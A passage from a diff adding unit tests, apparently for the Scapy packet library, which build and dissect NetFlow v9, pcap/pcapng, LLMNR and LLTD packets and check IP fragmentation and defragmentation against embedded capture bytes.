+pkt = NetflowHeader()/\
+    NetflowHeaderV9(unixSecs=int(time.time()))/\
+    NetflowFlowsetV9(templates=[
+        NetflowTemplateV9(templateID=258, template_fields=[
+            NetflowTemplateFieldV9(fieldType=1),
+            NetflowTemplateFieldV9(fieldType=62),
+        ]),
+        NetflowTemplateV9(templateID=257, template_fields=[
+            NetflowTemplateFieldV9(fieldType=1),
+            NetflowTemplateFieldV9(fieldType=62),
+        ]),
+    ])/NetflowDataflowsetV9(templateID=258, records=[
+        NetflowRecordV9(fieldValue=b"\x01\x02\x03\x05"),
+        NetflowRecordV9(fieldValue=b"\x05\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01"),
+    ])/NetflowDataflowsetV9(templateID=257, records=[
+        NetflowRecordV9(fieldValue=b"\x01\x02\x03\x04"),
+        NetflowRecordV9(fieldValue=b"\x04\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01"),
+    ])/NetflowOptionsFlowsetV9(templateID=256, scopes=[NetflowOptionsFlowsetScopeV9(scopeFieldType=1, scopeFieldlength=4),
+                                                       NetflowOptionsFlowsetScopeV9(scopeFieldType=1, scopeFieldlength=3)], 
+                                               options=[NetflowOptionsFlowsetOptionV9(optionFieldType=1, optionFieldlength=2),
+                                                        NetflowOptionsFlowsetOptionV9(optionFieldType=1, optionFieldlength=1)])/\
+    NetflowOptionsDataRecordV9(templateID=256, records=[NetflowOptionsRecordScopeV9(fieldValue=b"\x01\x02\x03\x04"),
+                                                        NetflowOptionsRecordScopeV9(fieldValue=b"\x01\x02\x03"),
+                                                        NetflowOptionsRecordOptionV9(fieldValue=b"\x01\x02"),
+                                                        NetflowOptionsRecordOptionV9(fieldValue=b"\x01")])
+
+assert pkt[NetflowFlowsetV9].templates[0].template_fields[0].fieldLength == 4
+assert pkt[NetflowFlowsetV9].templates[0].template_fields[1].fieldLength == 16
+
+= NetflowHeaderV9 - advanced dissection
+
+d = NetflowHeader(raw(pkt))
+d.show()
+assert len(d[NetflowDataflowsetV9].records) == 2
+assert d.getlayer(NetflowDataflowsetV9, templateID=257).records[0].fieldValue == b"\x01\x02\x03\x04"
+assert d.getlayer(NetflowDataflowsetV9, templateID=257).records[1].fieldValue == b"\x04\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01"
+
+assert d.getlayer(NetflowDataflowsetV9, templateID=258).records[0].fieldValue == b"\x01\x02\x03\x05"
+assert d.getlayer(NetflowDataflowsetV9, templateID=258).records[1].fieldValue == b"\x05\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01"
+
+assert d[NetflowOptionsFlowsetV9].scopes[0].scopeFieldType == 1
+assert d[NetflowOptionsDataRecordV9].records[1].fieldValue == b"\x01\x02\x03"
+assert d[NetflowOptionsDataRecordV9].records[3].fieldValue == b"\x01"
+
+############
+############
++ pcap / pcapng format support
+
+= Variable creations
+from io import BytesIO
+pcapfile = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00e\x00\x00\x00\xcf\xc5\xacVo*\n\x00(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00\xcf\xc5\xacV_-\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r\xcf\xc5\xacV\xf90\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00')
+pcapngfile = BytesIO(b'\n\r\r\n\\\x00\x00\x00M<+\x1a\x01\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x01\x00,\x00File created by merging: \nFile1: test.pcap \n\x04\x00\x08\x00mergecap\x00\x00\x00\x00\\\x00\x00\x00\x01\x00\x00\x00\\\x00\x00\x00e\x00\x00\x00\xff\xff\x00\x00\x02\x006\x00Unknown/not available in original file format(libpcap)\x00\x00\t\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00\x00\\\x00\x00\x00\x06\x00\x00\x00H\x00\x00\x00\x00\x00\x00\x00\x8d*\x05\x00/\xfc[\xcd(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00H\x00\x00\x00\x06\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x8d*\x05\x00\x1f\xff[\xcd\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r<\x00\x00\x00\x06\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x8d*\x05\x00\xb9\x02\\\xcd\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00<\x00\x00\x00')
+pcapnanofile = BytesIO(b"M<\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00e\x00\x00\x00\xcf\xc5\xacV\xc9\xc1\xb5'(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00\xcf\xc5\xacV-;\xc1'\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r\xcf\xc5\xacV\x9aL\xcf'\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00")
+
+= Read a pcap file
+pktpcap = rdpcap(pcapfile)
+
+= Read a pcapng file
+pktpcapng = rdpcap(pcapngfile)
+
+= Read a pcap file with nanosecond precision
+pktpcapnano = rdpcap(pcapnanofile)
+
+= Check all packet lists are the same
+assert list(pktpcap) == list(pktpcapng) == list(pktpcapnano)
+assert [p.time for p in pktpcap] == [p.time for p in pktpcapng] == [p.time for p in pktpcapnano]
+
+= Check packets from pcap file
+assert all(IP in pkt for pkt in pktpcap)
+assert all(any(proto in pkt for pkt in pktpcap) for proto in [ICMP, UDP, TCP])
+
+= Check wrpcap()
+import os, tempfile
+fdesc, filename = tempfile.mkstemp()
+fdesc = os.fdopen(fdesc, "wb")
+wrpcap(fdesc, pktpcap)
+fdesc.close()
+
+= Check offline sniff() (by filename)
+assert list(pktpcap) == list(sniff(offline=filename))
+
+= Check offline sniff() (by file object)
+fdesc = open(filename, "rb")
+assert list(pktpcap) == list(sniff(offline=fdesc))
+fdesc.close()
+
+= Check offline sniff() with a filter (by filename)
+~ tcpdump
+pktpcap_flt = [(proto, sniff(offline=filename, filter=proto.__name__.lower()))
+               for proto in [ICMP, UDP, TCP]]
+assert all(list(pktpcap[proto]) == list(packets) for proto, packets in pktpcap_flt)
+
+= Check offline sniff() with a filter (by file object)
+~ tcpdump
+fdesc = open(filename, "rb")
+pktpcap_tcp = sniff(offline=fdesc, filter="tcp")
+fdesc.close()
+assert list(pktpcap[TCP]) == list(pktpcap_tcp)
+os.unlink(filename)
+
+= Check wrpcap(nano=True)
+fdesc, filename = tempfile.mkstemp()
+fdesc = os.fdopen(fdesc, "wb")
+pktpcapnano[0].time += 0.000000001
+wrpcap(fdesc, pktpcapnano, nano=True)
+fdesc.close()
+pktpcapnanoread = rdpcap(filename)
+assert pktpcapnanoread[0].time == pktpcapnano[0].time
+assert pktpcapnanoread[0].time == pktpcap[0].time + 0.000000001
+os.unlink(filename)
+
+= Check PcapNg with nanosecond precision using obsolete packet block
+* first packet from capture file icmp2.ntar -- https://wiki.wireshark.org/Development/PcapNg?action=AttachFile&do=view&target=icmp2.ntar
+pcapngfile = BytesIO(b'\n\r\r\n\x1c\x00\x00\x00M<+\x1a\x01\x00\x00\x00\xa8\x03\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00(\x00\x00\x00\x01\x00\x00\x00\xff\xff\x00\x00\r\x00\x01\x00\x04\x04K\x00\t\x00\x01\x00\tK=N\x00\x00\x00\x00(\x00\x00\x00\x02\x00\x00\x00n\x00\x00\x00\x00\x00\x00\x00e\x14\x00\x00)4\'ON\x00\x00\x00N\x00\x00\x00\x00\x12\xf0\x11h\xd6\x00\x13r\t{\xea\x08\x00E\x00\x00<\x90\xa1\x00\x00\x80\x01\x8e\xad\xc0\xa8M\x07\xc0\xa8M\x1a\x08\x00r[\x03\x00\xd8\x00abcdefghijklmnopqrstuvwabcdefghi\xeay$\xf6\x00\x00n\x00\x00\x00')
+pktpcapng = rdpcap(pcapngfile)
+assert len(pktpcapng) == 1
+pkt = pktpcapng[0]
+# weird, but wireshark agrees
+assert pkt.time == 22425.352221737
+assert isinstance(pkt, Ether)
+pkt = pkt.payload
+assert isinstance(pkt, IP)
+pkt = pkt.payload
+assert isinstance(pkt, ICMP)
+pkt = pkt.payload
+assert isinstance(pkt, Raw) and pkt.load == b'abcdefghijklmnopqrstuvwabcdefghi'
+pkt = pkt.payload
+assert isinstance(pkt, Padding) and pkt.load == b'\xeay$\xf6'
+pkt = pkt.payload
+assert isinstance(pkt, NoPayload)
+
+= Check PcapNg using Simple Packet Block
+* previous file with the (obsolete) packet block replaced by a Simple Packet Block
+pcapngfile = BytesIO(b'\n\r\r\n\x1c\x00\x00\x00M<+\x1a\x01\x00\x00\x00\xa8\x03\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00(\x00\x00\x00\x01\x00\x00\x00\xff\xff\x00\x00\r\x00\x01\x00\x04\x04K\x00\t\x00\x01\x00\tK=N\x00\x00\x00\x00(\x00\x00\x00\x03\x00\x00\x00`\x00\x00\x00N\x00\x00\x00\x00\x12\xf0\x11h\xd6\x00\x13r\t{\xea\x08\x00E\x00\x00<\x90\xa1\x00\x00\x80\x01\x8e\xad\xc0\xa8M\x07\xc0\xa8M\x1a\x08\x00r[\x03\x00\xd8\x00abcdefghijklmnopqrstuvwabcdefghi\xeay$\xf6\x00\x00`\x00\x00\x00')
+pktpcapng = rdpcap(pcapngfile)
+assert len(pktpcapng) == 1
+pkt = pktpcapng[0]
+assert isinstance(pkt, Ether)
+pkt = pkt.payload
+assert isinstance(pkt, IP)
+pkt = pkt.payload
+assert isinstance(pkt, ICMP)
+pkt = pkt.payload
+assert isinstance(pkt, Raw) and pkt.load == b'abcdefghijklmnopqrstuvwabcdefghi'
+pkt = pkt.payload
+assert isinstance(pkt, Padding) and pkt.load == b'\xeay$\xf6'
+pkt = pkt.payload
+assert isinstance(pkt, NoPayload)
+
+= Check tcpdump()
+~ tcpdump
+* No very specific tests because we do not want to depend on tcpdump output
+pcapfile = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00e\x00\x00\x00\xcf\xc5\xacVo*\n\x00(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00\xcf\xc5\xacV_-\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r\xcf\xc5\xacV\xf90\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00')
+data = tcpdump(pcapfile, dump=True, args=['-n']).split(b'\n')
+print(data)
+assert b'IP 127.0.0.1.20 > 127.0.0.1.80:' in data[0]
+assert b'IP 127.0.0.1.53 > 127.0.0.1.53:' in data[1]
+assert b'IP 127.0.0.1 > 127.0.0.1:' in data[2]
+
+= Check tcpdump() command with tshark
+~ tshark
+pcapfile = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00e\x00\x00\x00\xcf\xc5\xacVo*\n\x00(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00\xcf\xc5\xacV_-\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r\xcf\xc5\xacV\xf90\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00')
+values = [tuple(int(val) for val in line[:-1].split(b'\t')) for line in tcpdump(pcapfile, prog=conf.prog.tshark, getfd=True, args=['-T', 'fields', '-e', 'ip.ttl', '-e', 'ip.proto'])]
+assert values == [(64, 6), (64, 17), (64, 1)]
+
+= Run scapy's tshark command
+~ netaccess
+tshark(count=1, timeout=3)
+
+= Check Raw IP pcap files
+
+import tempfile
+filename = tempfile.mktemp(suffix=".pcap")
+wrpcap(filename, [IP()/UDP(), IPv6()/UDP()], linktype=DLT_RAW)
+packets = rdpcap(filename)
+assert(isinstance(packets[0], IP) and isinstance(packets[1], IPv6))
+
+############
+############
++ LLMNR protocol
+
+= Simple packet dissection
+pkt = Ether(b'\x11\x11\x11\x11\x11\x11\x99\x99\x99\x99\x99\x99\x08\x00E\x00\x00(\x00\x01\x00\x00@\x11:\xa4\xc0\xa8\x00w\x7f\x00\x00\x01\x14\xeb\x14\xeb\x00\x14\x95\xcf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+assert pkt.sport == 5355
+assert pkt.dport == 5355
+assert pkt[LLMNRQuery].opcode == 0
+
+= Packet build / dissection
+pkt = UDP(raw(UDP()/LLMNRResponse()))
+assert LLMNRResponse in pkt
+assert pkt.qr == 1
+assert pkt.c == 0
+assert pkt.tc == 0
+assert pkt.z == 0
+assert pkt.rcode == 0
+assert pkt.qdcount == 0
+assert pkt.arcount == 0
+assert pkt.nscount == 0
+assert pkt.ancount == 0
+
+= Answers - building
+a = UDP()/LLMNRResponse(id=12)
+b = UDP()/LLMNRQuery(id=12)
+assert a.answers(b)
+assert not b.answers(a)
+assert b.hashret() == b'\x00\x0c'
+
+= Answers - dissecting
+a = Ether(b'\xd0P\x99V\xdd\xf9\x14\x0cv\x8f\xfe(\x08\x00E\x00\x00(\x00\x01\x00\x00@\x11:\xa4\x7f\x00\x00\x01\xc0\xa8\x00w\x14\xeb\x14\xeb\x00\x14\x95\xcf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+b = Ether(b'\x14\x0cv\x8f\xfe(\xd0P\x99V\xdd\xf9\x08\x00E\x00\x00(\x00\x01\x00\x00@\x11:\xa4\xc0\xa8\x00w\x7f\x00\x00\x01\x14\xeb\x14\xeb\x00\x14\x15\xcf\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+assert b.answers(a)
+assert not a.answers(b)
+
+############
+############
++ LLTD protocol
+
+= Simple packet dissection
+pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x86\x14\xf0\xc7[.\x88\xd9\x01\x00\x00\x01\xff\xff\xff\xff\xff\xff\x86\x14\xf0\xc7[.\x00\x00\xfe\xe9[\xa9\xaf\xc1\x0bS[\xa9\xaf\xc1\x0bS\x01\x06}[G\x8f\xec.\x02\x04p\x00\x00\x00\x03\x04\x00\x00\x00\x06\x07\x04\xac\x19\x88\xe4\t\x02\x00l\n\x08\x00\x00\x00\x00\x00\x0fB@\x0c\x04\x00\x08=`\x0e\x00\x0f\x0eT\x00E\x00S\x00T\x00-\x00A\x00P\x00\x12\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x04\x00\x00\x00\x00\x15\x01\x02\x18\x00\x19\x02\x04\x00\x1a\x00\x00')
+assert pkt.dst == pkt.real_dst
+assert pkt.src == pkt.real_src
+assert pkt.current_mapper_address == pkt.apparent_mapper_address
+assert pkt.mac == '7d:5b:47:8f:ec:2e'
+assert pkt.hostname == "TEST-AP"
+assert isinstance(pkt[LLTDAttributeEOP].payload, NoPayload)
+
+= Packet build / dissection
+pkt = Ether(raw(Ether(dst=ETHER_BROADCAST, src=RandMAC()) / LLTD(tos=0, function=0)))
+assert LLTD in pkt
+assert pkt.dst == pkt.real_dst
+assert pkt.src == pkt.real_src
+assert pkt.tos == 0
+assert pkt.function == 0
+
+= Attribute build / dissection
+assert isinstance(LLTDAttribute(), LLTDAttribute)
+assert isinstance(LLTDAttribute(raw(LLTDAttribute())), LLTDAttribute)
+assert all(isinstance(LLTDAttribute(type=i), LLTDAttribute) for i in six.moves.range(256))
+assert all(isinstance(LLTDAttribute(raw(LLTDAttribute(type=i))), LLTDAttribute) for i in six.moves.range(256))
+
+= Large TLV
+m1, m2, seq = RandMAC()._fix(), RandMAC()._fix(), 123
+preqbase = Ether(src=m1, dst=m2) / LLTD() / \
+           LLTDQueryLargeTlv(type="Detailed Icon Image")
+prespbase = Ether(src=m2, dst=m1) / LLTD() / \
+            LLTDQueryLargeTlvResp()
+plist = []
+pkt = preqbase.copy()
+pkt.seq = seq
+plist.append(Ether(raw(pkt)))
+pkt = prespbase.copy()
+pkt.seq = seq
+pkt.flags = "M"
+pkt.value = "abcd"
+plist.append(Ether(raw(pkt)))
+pkt = preqbase.copy()
+pkt.seq = seq + 1
+pkt.offset = 4
+plist.append(Ether(raw(pkt)))
+pkt = prespbase.copy()
+pkt.seq = seq + 1
+pkt.value = "efg"
+plist.append(Ether(raw(pkt)))
+builder = LargeTlvBuilder()
+builder.parse(plist)
+data = builder.get_data()
+assert len(data) == 1
+key, value = data.popitem()
+assert key.endswith(' [Detailed Icon Image]')
+assert value == 'abcdefg'
+
+
+############
+############
++ Test fragment() / defragment() functions
+
+= fragment()
+payloadlen, fragsize = 100, 8
+assert fragsize % 8 == 0
+fragcount = (payloadlen // fragsize) + bool(payloadlen % fragsize)
+* create the packet
+pkt = IP() / ("X" * payloadlen)
+* create the fragments
+frags = fragment(pkt, fragsize)
+* count the fragments
+assert len(frags) == fragcount
+* each fragment except the last one should have MF set
+assert all(p.flags == 1 for p in frags[:-1])
+assert frags[-1].flags == 0
+* each fragment except the last one should have a payload of fragsize bytes
+assert all(len(p.payload) == 8 for p in frags[:-1])
+assert len(frags[-1].payload) == ((payloadlen % fragsize) or fragsize)
+
+= fragment() and overloaded_fields
+pkt1 = Ether() / IP() / UDP()
+pkt2 = fragment(pkt1)[0]
+pkt3 = pkt2.__class__(raw(pkt2))
+assert pkt1[IP].proto == pkt2[IP].proto == pkt3[IP].proto
+
+= fragment() already fragmented packets
+payloadlen = 1480 * 3
+ffrags = fragment(IP() / ("X" * payloadlen), 1480)
+ffrags = fragment(ffrags, 1400)
+len(ffrags) == 6
+* each fragment except the last one should have MF set
+assert all(p.flags == 1 for p in ffrags[:-1])
+assert ffrags[-1].flags == 0
+* fragment offset should be well computed
+plen = 0
+for p in ffrags:
+    assert p.frag == plen // 8
+    plen += len(p.payload)
+
+assert plen == payloadlen
+
+= defrag()
+nonfrag, unfrag, badfrag = defrag(frags)
+assert not nonfrag
+assert not badfrag
+assert len(unfrag) == 1
+
+= defragment()
+defrags = defragment(frags)
+* we should have one single packet
+assert len(defrags) == 1
+* which should be the same as pkt reconstructed
+assert defrags[0] == IP(raw(pkt))
+
+= defrag() / defragment() - Real DNS packets
+
+import base64
+
+a = base64.b64decode('bnmYJ63mREVTUwEACABFAAV0U8UgADIR+u0EAgIECv0DxAA1sRIL83Z7gbCBgAABAB0AAAANA255YwNnb3YAAP8AAcAMAAYAAQAAA4QAKgZ2d2FsbDDADApob3N0bWFzdGVywAx4Og5wAAA4QAAADhAAJOoAAAACWMAMAC4AAQAAA4QAmwAGCAIAAAOEWWm9jVlgdP0mfQNueWMDZ292AHjCDBL0C1rEKUjsuG6Zg3+Rs6gj6llTABm9UZnWk+rRu6nPqW4N7AEllTYqNK+r6uFJ2KhfG3MDPS1F/M5QCVR8qkcbgrqPVRBJAG67/ZqpGORppQV6ib5qqo4ST5KyrgKpa8R1fWH8Fyp881NWLOZekM3TQyczcLFrvw9FFjdRwAwAAQABAAADhAAEobkenMAMAC4AAQAAA4QAmwABCAIAAAOEWWm9jVlgdP0mfQNueWMDZ292ABW8t5tEv9zTLdB6UsoTtZIF6Kx/c4ukIud8UIGM0XdXnJYx0ZDyPDyLVy2rfwmXdEph3KBWAi5dpRT16nthlMmWPQxD1ecg9rc8jcaTGo8z833fYJjzPT8MpMTxhapu4ANSBVbv3LRBnce2abu9QaoCdlHPFHdNphp6JznCLt4jwAwAMAABAAADhAEIAQEDCAMBAAF77useCfI+6T+m6Tsf2ami8/q5XDtgS0Ae7F0jUZ0cpyYxy/28DLFjJaS57YiwAYaabkkugxsoSv9roqBNZjD+gjoUB+MK8fmfaqqkSOgQuIQLZJeOORWD0gAj8mekw+S84DECylbKyYEGf8CB3/59IfV+YkTcHhXBYrMNxhMK1Eiypz4cgYxXiYUSz7jbOmqE3hU2GinhRmNW4Trt4ImUruSO+iQbTTj6LtCtIsScOF4vn4gcLJURLHOs+mf1NU9Yqq9mPC9wlYZk+8rwqcjVIiRpDmmv83huv4be1x1kkz2YqTFwtc33Fzt6SZk96Qtk2wCgg8ZQqLKGx5uwIIyrwAwAMAABAAADhAEIAQEDCAMBAAGYc7SWbSinSc3u8ZcYlO0+yZcJD1vqC5JARxZjKNzszHxc9dpabBtR9covySVu1YaBVrlxNBzfyFd4PKyjvPcBER5sQImoCikC+flD5NwXJbnrO1SG0Kzp8XXDCZpBASxuBF0vjUSU9yMqp0FywCrIfrbfCcOGAFIVP0M2u8dVuoI4nWbkRFc0hiRefoxc1O2IdpR22GAp2OYeeN2/tnFBz/ZMQitU2IZIKBMybKmWLC96tPcqVdWJX6+M1an1ox0+NqBZuPjsCx0/lZbuB/rLHppJOmkRc7q2Fw/tpHOyWHV+ulCfXem9Up/sbrMcP7uumFz0FeNhBPtg3u5kA5OVwAwAMAABAAADhACIAQADCAMBAAF5mlzmmq8cs6Hff0qZLlGKYCGPlG23HZw2qAd7N2FmrLRqPQ0R/hbnw54MYiIs18zyfm2J+ZmzUvGd+gjHGx3ooRRffQQ4RFLq6g6oxaLTbtvqPFbWt4Kr2GwX3UslgZCzH5mXLNpPI2QoetIcQCNRdcxn5QpWxPppCVXbKdNvvcAMADAAAQAAA4QAiAEAAwgDAQABqeGHtNFc0Yh6Pp/aM+ntlDW1fLwuAWToGQhmnQFBTiIUZlH7QMjwh5oMExNp5/ABUb3qBsyk9CLanRfateRgFJCYCNYofrI4S2yqT5X9vvtCXeIoG/QqMSl3PJk4ClYufIKjMPgl5IyN6yBIMNmmsATlMMu5TxM68a/CLCh92L3ADAAuAAEAAAOEAJsAMAgCAAADhFlpvY1ZYHT9Jn0DbnljA2dvdgAViVpFoYwy9dMUbOPDHTKt/LOtoicvtQbHeXiUSQeBkGWTLyiPc/NTW9ZC4WK5AuSj/0+V')
+b = base64.b64decode('bnmYJ63mREVTUwEACABFAAV0U8UgrDIR+kEEAgIECv0DxApz1F5olFRytjhNlG/JbdW0NSAFeUUF4rBRqsly/h6nFWKoQfih35Lm+BFLE0FoMaikWCjGJQIuf0CXiElMSQifiDM+KTeecNkCgTXADAAuAAEAAAOEARsAMAgCAAADhFlpvY1ZYHT9VwUDbnljA2dvdgAdRZxvC6VlbYUVarYjan0/PlP70gSz1SiYCDZyw5dsGo9vrZd+lMcAm5GFjtKYDXeCb5gVuegzHSNzxDQOa5lVKLQZfXgVHsl3jguCpYwKAygRR3mLBGtnhPrbYcPGMOzIxO6/UE5Hltx9SDqKNe2+rtVeZs5FyHQE5pTVGVjNED9iaauEW9UF3bwEP3K+wLgxWeVycjNry/l4vt9Z0fyTU15kogCZG8MXyStJlzIgdzVZRB96gTJbGBDRFQJfbE2Af+INl0HRY4p+bqQYwFomWg6Tzs30LcqAnkptknb5peUNmQTBI/MU00A6NeVJxkKK3+lf2EuuiJl+nFpfWiKpwAwAMwABAAADhAAJAQAADASqu8zdwAwALgABAAADhACbADMIAgAAA4RZab2NWWB0/SZ9A255YwNnb3YAVhcqgSl33lqjLLFR8pQ2cNhdX7dKZ2gRy0vUHOa+980Nljcj4I36rfjEVJCLKodpbseQl0OeTsbfNfqOmi1VrsypDl+YffyPMtHferm02xBK0agcTMdP/glpuKzdKHTiHTlnSOuBpPnEpgxYPNeBGx8yzMvIaU5rOCxuO49Sh/PADAACAAEAAAOEAAoHdndhbGw0YcAMwAwAAgABAAADhAAKB3Z3YWxsMmHADMAMAAIAAQAAA4QACgd2d2FsbDNhwAzADAACAAEAAAOEAAoHdndhbGwxYcAMwAwALgABAAADhACbAAIIAgAAA4RZab2NWWB0/SZ9A255YwNnb3YANn7LVY7YsKLtpH7LKhUz0SVsM/Gk3T/V8I9wIEZ4vEklM9hI92D2aYe+9EKxOts+/py6itZfANXU197pCufktASDxlH5eWSc9S2uqrRnUNnMUe4p3Jy9ZCGhiHDemgFphKGWYTNZUJoML2+SDzbv9tXo4sSbZiKJCDkNdzSv2lfADAAQAAEAAAOEAEVEZ29vZ2xlLXNpdGUtdmVyaWZpY2F0aW9uPWMycnhTa2VPZUxpSG5iY24tSXhZZm5mQjJQcTQzU3lpeEVka2k2ODZlNDTADAAQAAEAAAOEADc2dj1zcGYxIGlwNDoxNjEuMTg1LjIuMC8yNSBpcDQ6MTY3LjE1My4xMzIuMC8yNSBteCAtYWxswAwALgABAAADhACbABAIAgAAA4RZab2NWWB0/SZ9A255YwNnb3YAjzLOj5HUtVGhi/emNG90g2zK80hrI6gh2d+twgVLYgWebPeTI2D2ylobevXeq5rK5RQgbg2iG1UiTBnlKPgLPYt8ZL+bi+/v5NTaqHfyHFYdKzZeL0dhrmebRbYzG7tzOllcAOOqieeO29Yr4gz1rpiU6g75vkz6yQoHNfmNVMXADAAPAAEAAAOEAAsAZAZ2d2FsbDLADMAMAA8AAQAAA4QACwBkBnZ3YWxsNMAMwAwADwABAAADhAALAAoGdndhbGwzwAzADAAPAAEAAAOEAAsACgZ2d2FsbDXADMAMAA8AAQAAA4QACwAKBnZ3YWxsNsAMwAwADwABAAADhAALAAoGdndhbGw3wAzADAAPAAEAAAOEAAsACgZ2d2FsbDjADMAMAA8AAQAAA4QACwBkBnZ3YWxsMcAMwAwALgABAAADhACbAA8IAgAAA4RZab2NWWB0/SZ9A255YwNnb3YAooXBSj6PfsdBd8sEN/2AA4cvOl2bcioO')
+c = base64.b64decode('bnmYJ63mREVTUwEACABFAAFHU8UBWDIRHcMEAgIECv0DxDtlufeCT1zQktat4aEVA8MF0FO1sNbpEQtqfu5Al//OJISaRvtaArR/tLUj2CoZjS7uEnl7QpP/Ui/gR0YtyLurk9yTw7Vei0lSz4cnaOJqDiTGAKYwzVxjnoR1F3n8lplgQaOalVsHx9UAAQABAAADLAAEobkBA8epAAEAAQAAAywABKG5AQzHvwABAAEAAAMsAASnmYIMx5MAAQABAAADLAAEp5mCDcn9AAEAAQAAAqUABKeZhAvKFAABAAEAAAOEAAShuQIfyisAAQABAAADhAAEobkCKcpCAAEAAQAAA4QABKG5AjPKWQABAAEAAAOEAAShuQI9ynAAAQABAAADhAAEobkCC8nPAAEAAQAAA4QABKG5AgzJ5gABAAEAAAOEAASnmYQMAAApIAAAAAAAAAA=')
